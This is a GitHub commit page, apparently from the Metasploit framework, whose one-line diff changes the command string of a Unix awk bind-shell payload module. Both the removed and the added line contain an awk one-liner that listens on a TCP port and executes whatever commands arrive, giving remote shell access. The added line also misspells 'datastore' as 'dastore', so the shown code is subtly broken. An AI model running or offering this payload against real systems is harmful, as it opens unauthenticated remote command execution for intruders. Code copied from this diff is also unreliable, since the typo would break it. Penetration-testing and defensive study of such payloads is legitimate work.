Skip to content

Commit d9609fb

Browse files
committed
Was breaking with repeated commands
1 parent 00debd0 commit d9609fb

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/payloads/singles/cmd/unix/bind_awk.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ def generate
5050
# Returns the command string to use for execution
5151
#
5252
def command_string
53-
"awk '{for(s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";s|&getline c;)while(c|&getline)print$0|&s}'<<<X"
53+
"awk 'BEGIN{for(s=\"/inet/tcp/#{dastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
5454
end
5555

5656
end

0 commit comments

Comments
 (0)